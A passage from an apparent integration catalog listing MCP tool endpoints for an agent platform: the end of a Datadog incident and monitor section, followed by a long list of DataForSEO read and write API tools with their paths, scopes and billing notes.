incident impact and Delete incident impact, so a wrong impact can be corrected without being removed. PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/update-incident-impact. Scopes: incident_write. datadog_update_incident_todo (read) — Update one incident task — its content, its assignees, its due date or whether it is complete. PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/update-incident-todo. Scopes: incident_write. datadog_validate_existing_monitor (read) — Compile a proposed change to an EXISTING monitor and return its errors without applying it. Creates nothing and changes nothing. POST /api/v1/tools/datadog/validate-existing-monitor. Scopes: monitors_read. datadog_validate_monitor (read) — Compile a monitor definition and return its errors WITHOUT creating anything. Read-scoped and creates nothing, so an agent can draft a monitor, prove it parses, and hand the JSON to a human to paste — the whole workflow without ever granting monitor write access. POST /api/v1/tools/datadog/validate-monitor. Scopes: monitors_read. ================================================================================ ## DataForSEO URL: https://www.agenticfabriq.com/integrations/dataforseo Section: Integrated Tools DataForSEO — 138 MCP tools Provider key: dataforseo. Scopes: none. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dataforseo_get_v3_ai_optimization_ai_keyword_data_available_filters (read) — AI optimization AI keyword data available filters via GET /v3/ai_optimization/ai_keyword_data/available_filters GET /api/v1/dataforseo/v3/ai_optimization/ai_keyword_data/available_filters. Scopes: none. dataforseo_get_v3_ai_optimization_ai_keyword_data_locations_and_languages (read) — AI optimization AI keyword data locations and languages via GET /v3/ai_optimization/ai_keyword_data/locations_and_languages GET /api/v1/dataforseo/v3/ai_optimization/ai_keyword_data/locations_and_languages. Scopes: none. dataforseo_get_v3_ai_optimization_llm_mentions_available_filters (read) — AI optimization LLM mentions available filters via GET /v3/ai_optimization/llm_mentions/available_filters GET /api/v1/dataforseo/v3/ai_optimization/llm_mentions/available_filters. Scopes: none. dataforseo_get_v3_ai_optimization_llm_mentions_locations_and_languages (read) — AI optimization LLM mentions locations and languages via GET /v3/ai_optimization/llm_mentions/locations_and_languages GET /api/v1/dataforseo/v3/ai_optimization/llm_mentions/locations_and_languages. Scopes: none. dataforseo_get_v3_appendix_errors (read) — Account errors via GET /v3/appendix/errors GET /api/v1/dataforseo/v3/appendix/errors. Scopes: none. dataforseo_get_v3_appendix_status (read) — Account status via GET /v3/appendix/status GET /api/v1/dataforseo/v3/appendix/status. Scopes: none. dataforseo_get_v3_appendix_user_data (read) — Account user data via GET /v3/appendix/user_data GET /api/v1/dataforseo/v3/appendix/user_data. Scopes: none. dataforseo_get_v3_backlinks_available_filters (read) — Backlinks available filters via GET /v3/backlinks/available_filters GET /api/v1/dataforseo/v3/backlinks/available_filters. Scopes: none. dataforseo_get_v3_backlinks_index (read) — Backlinks index via GET /v3/backlinks/index GET /api/v1/dataforseo/v3/backlinks/index. Scopes: none. dataforseo_get_v3_business_data_business_listings_available_filters (read) — Business data business listings available filters via GET /v3/business_data/business_listings/available_filters GET /api/v1/dataforseo/v3/business_data/business_listings/available_filters. Scopes: none. dataforseo_get_v3_business_data_business_listings_categories (read) — Business data business listings categories via GET /v3/business_data/business_listings/categories GET /api/v1/dataforseo/v3/business_data/business_listings/categories. Scopes: none. dataforseo_get_v3_business_data_business_listings_locations (read) — Business data business listings locations via GET /v3/business_data/business_listings/locations GET /api/v1/dataforseo/v3/business_data/business_listings/locations. Scopes: none. dataforseo_get_v3_business_data_google_languages (read) — Business data Google languages via GET /v3/business_data/google/languages GET /api/v1/dataforseo/v3/business_data/google/languages. Scopes: none. dataforseo_get_v3_business_data_google_locations (read) — Business data Google locations via GET /v3/business_data/google/locations GET /api/v1/dataforseo/v3/business_data/google/locations. Scopes: none. dataforseo_get_v3_business_data_google_locations_by_country (read) — Business data Google locations via GET /v3/business_data/google/locations/{country} GET /api/v1/dataforseo/v3/business_data/google/locations/{country}. Scopes: none. dataforseo_get_v3_business_data_google_reviews_task_get_by_id (read) — Business data Google reviews (fetch task) via GET /v3/business_data/google/reviews/task_get/{id} Reads one completed task by the id task_post returned. GET /api/v1/dataforseo/v3/business_data/google/reviews/task_get/{id}. Scopes: none. dataforseo_get_v3_business_data_google_reviews_tasks_ready (read) — Business data Google reviews (ready tasks) via GET /v3/business_data/google/reviews/tasks_ready Lists the ids of completed tasks waiting to be collected. GET /api/v1/dataforseo/v3/business_data/google/reviews/tasks_ready. Scopes: none. dataforseo_get_v3_business_data_tasks_ready (read) — Business data (ready tasks) via GET /v3/business_data/tasks_ready Lists the ids of completed tasks waiting to be collected. GET /api/v1/dataforseo/v3/business_data/tasks_ready. Scopes: none. dataforseo_get_v3_dataforseo_labs_available_filters (read) — Labs available filters via GET /v3/dataforseo_labs/available_filters GET /api/v1/dataforseo/v3/dataforseo_labs/available_filters. Scopes: none. dataforseo_get_v3_dataforseo_labs_categories (read) — Labs categories via GET /v3/dataforseo_labs/categories GET /api/v1/dataforseo/v3/dataforseo_labs/categories. Scopes: none. dataforseo_get_v3_dataforseo_labs_google_categories_for_keywords_languages (read) — Labs Google categories for keywords languages via GET /v3/dataforseo_labs/google/categories_for_keywords/languages GET /api/v1/dataforseo/v3/dataforseo_labs/google/categories_for_keywords/languages. Scopes: none. dataforseo_get_v3_dataforseo_labs_locations_and_languages (read) — Labs locations and languages via GET /v3/dataforseo_labs/locations_and_languages GET /api/v1/dataforseo/v3/dataforseo_labs/locations_and_languages. Scopes: none. dataforseo_get_v3_dataforseo_labs_status (read) — Labs status via GET /v3/dataforseo_labs/status GET /api/v1/dataforseo/v3/dataforseo_labs/status. Scopes: none. dataforseo_get_v3_keywords_data_clickstream_data_locations_and_languages (read) — Keywords clickstream locations and languages via GET /v3/keywords_data/clickstream_data/locations_and_languages GET /api/v1/dataforseo/v3/keywords_data/clickstream_data/locations_and_languages. Scopes: none. dataforseo_get_v3_keywords_data_dataforseo_trends_locations (read) — Keywords DataForSEO Trends locations via GET /v3/keywords_data/dataforseo_trends/locations GET /api/v1/dataforseo/v3/keywords_data/dataforseo_trends/locations. Scopes: none. dataforseo_get_v3_keywords_data_dataforseo_trends_locations_by_country (read) — Keywords DataForSEO Trends locations via GET /v3/keywords_data/dataforseo_trends/locations/{country} GET /api/v1/dataforseo/v3/keywords_data/dataforseo_trends/locations/{country}. Scopes: none. dataforseo_get_v3_keywords_data_google_ads_languages (read) — Keywords Google Ads languages via GET /v3/keywords_data/google_ads/languages GET /api/v1/dataforseo/v3/keywords_data/google_ads/languages. Scopes: none. dataforseo_get_v3_keywords_data_google_ads_locations (read) — Keywords Google Ads locations via GET /v3/keywords_data/google_ads/locations GET /api/v1/dataforseo/v3/keywords_data/google_ads/locations. Scopes: none. dataforseo_get_v3_keywords_data_google_ads_locations_by_country (read) — Keywords Google Ads locations via GET /v3/keywords_data/google_ads/locations/{country} GET /api/v1/dataforseo/v3/keywords_data/google_ads/locations/{country}. Scopes: none. dataforseo_get_v3_keywords_data_google_ads_status (read) — Keywords Google Ads status via GET /v3/keywords_data/google_ads/status GET /api/v1/dataforseo/v3/keywords_data/google_ads/status. Scopes: none. dataforseo_get_v3_keywords_data_google_trends_categories (read) — Keywords Google Trends categories via GET /v3/keywords_data/google_trends/categories GET /api/v1/dataforseo/v3/keywords_data/google_trends/categories. Scopes: none. dataforseo_get_v3_keywords_data_google_trends_languages (read) — Keywords Google Trends languages via GET /v3/keywords_data/google_trends/languages GET /api/v1/dataforseo/v3/keywords_data/google_trends/languages. Scopes: none. dataforseo_get_v3_keywords_data_google_trends_locations (read) — Keywords Google Trends locations via GET /v3/keywords_data/google_trends/locations GET /api/v1/dataforseo/v3/keywords_data/google_trends/locations. Scopes: none. dataforseo_get_v3_keywords_data_google_trends_locations_by_country (read) — Keywords Google Trends locations via GET /v3/keywords_data/google_trends/locations/{country} GET /api/v1/dataforseo/v3/keywords_data/google_trends/locations/{country}. Scopes: none. dataforseo_get_v3_on_page_available_filters (read) — On-page available filters via GET /v3/on_page/available_filters GET /api/v1/dataforseo/v3/on_page/available_filters. Scopes: none. dataforseo_get_v3_on_page_summary_by_id (read) — On-page summary via GET /v3/on_page/summary/{id} GET /api/v1/dataforseo/v3/on_page/summary/{id}. Scopes: none. dataforseo_get_v3_on_page_tasks_ready (read) — On-page (ready tasks) via GET /v3/on_page/tasks_ready Lists the ids of completed tasks waiting to be collected. GET /api/v1/dataforseo/v3/on_page/tasks_ready. Scopes: none. dataforseo_get_v3_serp_bing_languages (read) — SERP Bing languages via GET /v3/serp/bing/languages GET /api/v1/dataforseo/v3/serp/bing/languages. Scopes: none. dataforseo_get_v3_serp_bing_locations (read) — SERP Bing locations via GET /v3/serp/bing/locations GET /api/v1/dataforseo/v3/serp/bing/locations. Scopes: none. dataforseo_get_v3_serp_bing_locations_by_country (read) — SERP Bing locations via GET /v3/serp/bing/locations/{country} GET /api/v1/dataforseo/v3/serp/bing/locations/{country}. Scopes: none. dataforseo_get_v3_serp_google_ai_mode_languages (read) — SERP Google AI Mode languages via GET /v3/serp/google/ai_mode/languages GET /api/v1/dataforseo/v3/serp/google/ai_mode/languages. Scopes: none. dataforseo_get_v3_serp_google_languages (read) — SERP Google languages via GET /v3/serp/google/languages GET /api/v1/dataforseo/v3/serp/google/languages. Scopes: none. dataforseo_get_v3_serp_google_locations (read) — SERP Google locations via GET /v3/serp/google/locations GET /api/v1/dataforseo/v3/serp/google/locations. Scopes: none. dataforseo_get_v3_serp_google_locations_by_country (read) — SERP Google locations via GET /v3/serp/google/locations/{country} GET /api/v1/dataforseo/v3/serp/google/locations/{country}. Scopes: none. dataforseo_post_v3_ai_optimization_ai_keyword_data_keywords_search_volume_live (write) — AI optimization AI keyword data keywords search volume (live) via POST /v3/ai_optimization/ai_keyword_data/keywords_search_volume/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/ai_optimization/ai_keyword_data/keywords_search_volume/live. Scopes: none. dataforseo_post_v3_ai_optimization_llm_mentions_historical_live (write) — AI optimization LLM mentions historical (live) via POST /v3/ai_optimization/llm_mentions/historical/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/ai_optimization/llm_mentions/historical/live. Scopes: none. dataforseo_post_v3_ai_optimization_llm_mentions_multi_target_metrics_live (write) — AI optimization LLM mentions multi target metrics (live) via POST /v3/ai_optimization/llm_mentions/multi_target_metrics/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/ai_optimization/llm_mentions/multi_target_metrics/live. Scopes: none. dataforseo_post_v3_ai_optimization_llm_mentions_search_mentions_live (write) — AI optimization LLM mentions search mentions (live) via POST /v3/ai_optimization/llm_mentions/search_mentions/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/ai_optimization/llm_mentions/search_mentions/live. Scopes: none. dataforseo_post_v3_ai_optimization_llm_mentions_target_metrics_live (write) — AI optimization LLM mentions target metrics (live) via POST /v3/ai_optimization/llm_mentions/target_metrics/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/ai_optimization/llm_mentions/target_metrics/live. Scopes: none. dataforseo_post_v3_ai_optimization_llm_mentions_timeseries_delta_live (write) — AI optimization LLM mentions timeseries delta (live) via POST /v3/ai_optimization/llm_mentions/timeseries_delta/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/ai_optimization/llm_mentions/timeseries_delta/live. Scopes: none. dataforseo_post_v3_ai_optimization_llm_mentions_timeseries_new_lost_live (write) — AI optimization LLM mentions timeseries new lost (live) via POST /v3/ai_optimization/llm_mentions/timeseries_new_lost/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/ai_optimization/llm_mentions/timeseries_new_lost/live. Scopes: none. dataforseo_post_v3_appendix_webhook_resend (write) — Account webhook resend via POST /v3/appendix/webhook_resend POST /api/v1/dataforseo/v3/appendix/webhook_resend. Scopes: none. dataforseo_post_v3_backlinks_anchors_live (write) — Backlinks anchors (live) via POST /v3/backlinks/anchors/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/anchors/live. Scopes: none. dataforseo_post_v3_backlinks_backlinks_live (write) — Backlinks backlinks (live) via POST /v3/backlinks/backlinks/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/backlinks/live. Scopes: none. dataforseo_post_v3_backlinks_bulk_backlinks_live (write) — Backlinks bulk backlinks (live) via POST /v3/backlinks/bulk_backlinks/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/bulk_backlinks/live. Scopes: none. dataforseo_post_v3_backlinks_bulk_new_lost_backlinks_live (write) — Backlinks bulk new lost backlinks (live) via POST /v3/backlinks/bulk_new_lost_backlinks/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/bulk_new_lost_backlinks/live. Scopes: none. dataforseo_post_v3_backlinks_bulk_new_lost_referring_domains_live (write) — Backlinks bulk new lost referring domains (live) via POST /v3/backlinks/bulk_new_lost_referring_domains/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/bulk_new_lost_referring_domains/live. Scopes: none. dataforseo_post_v3_backlinks_bulk_pages_summary_live (write) — Backlinks bulk pages summary (live) via POST /v3/backlinks/bulk_pages_summary/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/bulk_pages_summary/live. Scopes: none. dataforseo_post_v3_backlinks_bulk_ranks_live (write) — Backlinks bulk ranks (live) via POST /v3/backlinks/bulk_ranks/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/bulk_ranks/live. Scopes: none. dataforseo_post_v3_backlinks_bulk_referring_domains_live (write) — Backlinks bulk referring domains (live) via POST /v3/backlinks/bulk_referring_domains/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/bulk_referring_domains/live. Scopes: none. dataforseo_post_v3_backlinks_bulk_spam_score_live (write) — Backlinks bulk spam score (live) via POST /v3/backlinks/bulk_spam_score/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/bulk_spam_score/live. Scopes: none. dataforseo_post_v3_backlinks_competitors_live (write) — Backlinks competitors (live) via POST /v3/backlinks/competitors/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/competitors/live. Scopes: none. dataforseo_post_v3_backlinks_domain_intersection_live (write) — Backlinks domain intersection (live) via POST /v3/backlinks/domain_intersection/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/domain_intersection/live. Scopes: none. dataforseo_post_v3_backlinks_domain_pages_live (write) — Backlinks domain pages (live) via POST /v3/backlinks/domain_pages/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/domain_pages/live. Scopes: none. dataforseo_post_v3_backlinks_domain_pages_summary_live (write) — Backlinks domain pages summary (live) via POST /v3/backlinks/domain_pages_summary/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/domain_pages_summary/live. Scopes: none. dataforseo_post_v3_backlinks_history_live (write) — Backlinks history (live) via POST /v3/backlinks/history/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/history/live. Scopes: none. dataforseo_post_v3_backlinks_page_intersection_live (write) — Backlinks page intersection (live) via POST /v3/backlinks/page_intersection/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/page_intersection/live. Scopes: none. dataforseo_post_v3_backlinks_referring_domains_live (write) — Backlinks referring domains (live) via POST /v3/backlinks/referring_domains/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/referring_domains/live. Scopes: none. dataforseo_post_v3_backlinks_referring_networks_live (write) — Backlinks referring networks (live) via POST /v3/backlinks/referring_networks/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/referring_networks/live. Scopes: none. dataforseo_post_v3_backlinks_summary_live (write) — Backlinks summary (live) via POST /v3/backlinks/summary/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/summary/live. Scopes: none. dataforseo_post_v3_backlinks_timeseries_new_lost_summary_live (write) — Backlinks timeseries new lost summary (live) via POST /v3/backlinks/timeseries_new_lost_summary/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/timeseries_new_lost_summary/live. Scopes: none. dataforseo_post_v3_backlinks_timeseries_summary_live (write) — Backlinks timeseries summary (live) via POST /v3/backlinks/timeseries_summary/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/backlinks/timeseries_summary/live. Scopes: none. dataforseo_post_v3_business_data_business_listings_categories_aggregation_live (write) — Business data business listings categories aggregation (live) via POST /v3/business_data/business_listings/categories_aggregation/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/business_data/business_listings/categories_aggregation/live. Scopes: none. dataforseo_post_v3_business_data_business_listings_search_live (write) — Business data business listings search (live) via POST /v3/business_data/business_listings/search/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/business_data/business_listings/search/live. Scopes: none. dataforseo_post_v3_business_data_errors (write) — Business data errors via POST /v3/business_data/errors POST /api/v1/dataforseo/v3/business_data/errors. Scopes: none. dataforseo_post_v3_business_data_google_my_business_info_live (write) — Business data Google my business info (live) via POST /v3/business_data/google/my_business_info/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/business_data/google/my_business_info/live. Scopes: none. dataforseo_post_v3_business_data_google_questions_and_answers_live (write) — Business data Google questions and answers (live) via POST /v3/business_data/google/questions_and_answers/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/business_data/google/questions_and_answers/live. Scopes: none. dataforseo_post_v3_business_data_google_reviews_task_post (write) — Business data Google reviews (queue task) via POST /v3/business_data/google/reviews/task_post Queues one task and returns its id. Poll tasks_ready, then task_get. Billable. POST /api/v1/dataforseo/v3/business_data/google/reviews/task_post. Scopes: none. dataforseo_post_v3_business_data_id_list (write) — Business data id list via POST /v3/business_data/id_list POST /api/v1/dataforseo/v3/business_data/id_list. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_bulk_keyword_difficulty_live (write) — Labs Google bulk keyword difficulty (live) via POST /v3/dataforseo_labs/google/bulk_keyword_difficulty/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/bulk_keyword_difficulty/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_bulk_traffic_estimation_live (write) — Labs Google bulk traffic estimation (live) via POST /v3/dataforseo_labs/google/bulk_traffic_estimation/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/bulk_traffic_estimation/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_categories_for_domain_live (write) — Labs Google categories for domain (live) via POST /v3/dataforseo_labs/google/categories_for_domain/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/categories_for_domain/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_categories_for_keywords_live (write) — Labs Google categories for keywords (live) via POST /v3/dataforseo_labs/google/categories_for_keywords/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/categories_for_keywords/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_competitors_domain_live (write) — Labs Google competitors domain (live) via POST /v3/dataforseo_labs/google/competitors_domain/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/competitors_domain/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_domain_intersection_live (write) — Labs Google domain intersection (live) via POST /v3/dataforseo_labs/google/domain_intersection/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/domain_intersection/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_domain_metrics_by_categories_live (write) — Labs Google domain metrics by categories (live) via POST /v3/dataforseo_labs/google/domain_metrics_by_categories/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/domain_metrics_by_categories/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_domain_rank_overview_live (write) — Labs Google domain rank overview (live) via POST /v3/dataforseo_labs/google/domain_rank_overview/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/domain_rank_overview/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_keyword_ideas_live (write) — Labs Google keyword ideas (live) via POST /v3/dataforseo_labs/google/keyword_ideas/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/keyword_ideas/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_keyword_overview_live (write) — Labs Google keyword overview (live) via POST /v3/dataforseo_labs/google/keyword_overview/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/keyword_overview/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_keyword_suggestions_live (write) — Labs Google keyword suggestions (live) via POST /v3/dataforseo_labs/google/keyword_suggestions/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/keyword_suggestions/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_keywords_for_categories_live (write) — Labs Google keywords for categories (live) via POST /v3/dataforseo_labs/google/keywords_for_categories/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/keywords_for_categories/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_keywords_for_site_live (write) — Labs Google keywords for site (live) via POST /v3/dataforseo_labs/google/keywords_for_site/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/keywords_for_site/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_page_intersection_live (write) — Labs Google page intersection (live) via POST /v3/dataforseo_labs/google/page_intersection/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/page_intersection/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_ranked_keywords_live (write) — Labs Google ranked keywords (live) via POST /v3/dataforseo_labs/google/ranked_keywords/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/ranked_keywords/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_related_keywords_live (write) — Labs Google related keywords (live) via POST /v3/dataforseo_labs/google/related_keywords/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/related_keywords/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_relevant_pages_live (write) — Labs Google relevant pages (live) via POST /v3/dataforseo_labs/google/relevant_pages/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/relevant_pages/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_search_intent_live (write) — Labs Google search intent (live) via POST /v3/dataforseo_labs/google/search_intent/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/search_intent/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_serp_competitors_live (write) — Labs Google serp competitors (live) via POST /v3/dataforseo_labs/google/serp_competitors/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/serp_competitors/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_subdomains_live (write) — Labs Google subdomains (live) via POST /v3/dataforseo_labs/google/subdomains/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/subdomains/live. Scopes: none. dataforseo_post_v3_dataforseo_labs_google_top_searches_live (write) — Labs Google top searches (live) via POST /v3/dataforseo_labs/google/top_searches/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/dataforseo_labs/google/top_searches/live. Scopes: none. dataforseo_post_v3_keywords_data_clickstream_data_bulk_search_volume_live (write) — Keywords clickstream bulk search volume (live) via POST /v3/keywords_data/clickstream_data/bulk_search_volume/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/clickstream_data/bulk_search_volume/live. Scopes: none. dataforseo_post_v3_keywords_data_clickstream_data_dataforseo_search_volume_live (write) — Keywords clickstream dataforseo search volume (live) via POST /v3/keywords_data/clickstream_data/dataforseo_search_volume/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/clickstream_data/dataforseo_search_volume/live. Scopes: none. dataforseo_post_v3_keywords_data_clickstream_data_global_search_volume_live (write) — Keywords clickstream global search volume (live) via POST /v3/keywords_data/clickstream_data/global_search_volume/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/clickstream_data/global_search_volume/live. Scopes: none. dataforseo_post_v3_keywords_data_dataforseo_trends_demography_live (write) — Keywords DataForSEO Trends demography (live) via POST /v3/keywords_data/dataforseo_trends/demography/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/dataforseo_trends/demography/live. Scopes: none. dataforseo_post_v3_keywords_data_dataforseo_trends_explore_live (write) — Keywords DataForSEO Trends explore (live) via POST /v3/keywords_data/dataforseo_trends/explore/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/dataforseo_trends/explore/live. Scopes: none. dataforseo_post_v3_keywords_data_dataforseo_trends_merged_data_live (write) — Keywords DataForSEO Trends merged data (live) via POST /v3/keywords_data/dataforseo_trends/merged_data/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/dataforseo_trends/merged_data/live. Scopes: none. dataforseo_post_v3_keywords_data_dataforseo_trends_subregion_interests_live (write) — Keywords DataForSEO Trends subregion interests (live) via POST /v3/keywords_data/dataforseo_trends/subregion_interests/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/dataforseo_trends/subregion_interests/live. Scopes: none. dataforseo_post_v3_keywords_data_google_ads_ad_traffic_by_keywords_live (write) — Keywords Google Ads ad traffic by keywords (live) via POST /v3/keywords_data/google_ads/ad_traffic_by_keywords/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/google_ads/ad_traffic_by_keywords/live. Scopes: none. dataforseo_post_v3_keywords_data_google_ads_keywords_for_keywords_live (write) — Keywords Google Ads keywords for keywords (live) via POST /v3/keywords_data/google_ads/keywords_for_keywords/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/google_ads/keywords_for_keywords/live. Scopes: none. dataforseo_post_v3_keywords_data_google_ads_keywords_for_site_live (write) — Keywords Google Ads keywords for site (live) via POST /v3/keywords_data/google_ads/keywords_for_site/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/google_ads/keywords_for_site/live. Scopes: none. dataforseo_post_v3_keywords_data_google_ads_search_volume_live (write) — Keywords Google Ads search volume (live) via POST /v3/keywords_data/google_ads/search_volume/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/google_ads/search_volume/live. Scopes: none. dataforseo_post_v3_keywords_data_google_trends_explore_live (write) — Keywords Google Trends explore (live) via POST /v3/keywords_data/google_trends/explore/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/keywords_data/google_trends/explore/live. Scopes: none. dataforseo_post_v3_on_page_content_parsing (write) — On-page content parsing via POST /v3/on_page/content_parsing POST /api/v1/dataforseo/v3/on_page/content_parsing. Scopes: none. dataforseo_post_v3_on_page_content_parsing_live (write) — On-page content parsing (live) via POST /v3/on_page/content_parsing/live Synchronous: the result comes back in this call. Billable. POST /api/v1/dataforseo/v3/on_page/content_parsing/live. Scopes: none. dataforseo_post_v3_on_page_duplicate_content (write) — On-page duplicate content via POST /v3/on_page/duplicate_content POST /api/v1/dataforseo/v3/on_page/duplicate_content. Scopes: none. dataforseo_post_v3_on_page_duplicate_tags (write) — On-page duplicate tags via POST /v3/on_page/duplicate_tags POST /api/v1/dataforseo/v3/on_page/duplicate_tags. Scopes: none. dataforseo_post_v3_on_page_errors (write) — On-page errors via POST /v3/on_page/errors POST /api/v1/dataforseo/v3/on_page/errors. Scopes: none. dataforseo_post_v3_on_page_force_stop (write) — On-page force stop via POST /v3/on_page/force_stop POST /api/v1/dataforseo/v3/on_page/force_stop. Scopes: none. dataforseo_post_v3_on_page_id_list (write) — On-page id list via POST /v3/on_page/id_list POST /api/v1/dataforseo/v3/on_page/id_list. Scopes: none. dataforseo_post_v3_on_page_keyword_density (write) — On-page keyword density via POST /v3/on_page/keyword_density POST /api/v1/dataforseo/v3/on_page/keyword_density. Scopes: none. dataforseo_post_v3_on_page_links (write) — On-page links via POST /v3/on_page/links POST /api/v1/dataforseo/v3/on_page/links. Scopes: none. dataforseo_post_v3_on_page_microdata (write) — On-page microdata via POST /v3/on_page/microdata POST /api/v1/dataforseo/v3/on_page/microdata. Scopes: none. dataforseo_post_v3_on_page_non_indexable (write) — On-page non indexable via POST /v3/on_page/non_indexable POST /api/v1/dataforseo/v3/on_page/non_indexable. Scopes: none. dataforseo_post_v3_on_page_pages (write) — On-page pages via POST /v3/on_page/pages POST /api/v1/dataforseo/v3/on_page/pages. Scopes: none. dataforseo_post_v3_on_page_pages_by_resource (write) — On-page pages by resource via POST /v3/on_page/pages_by_resource POST 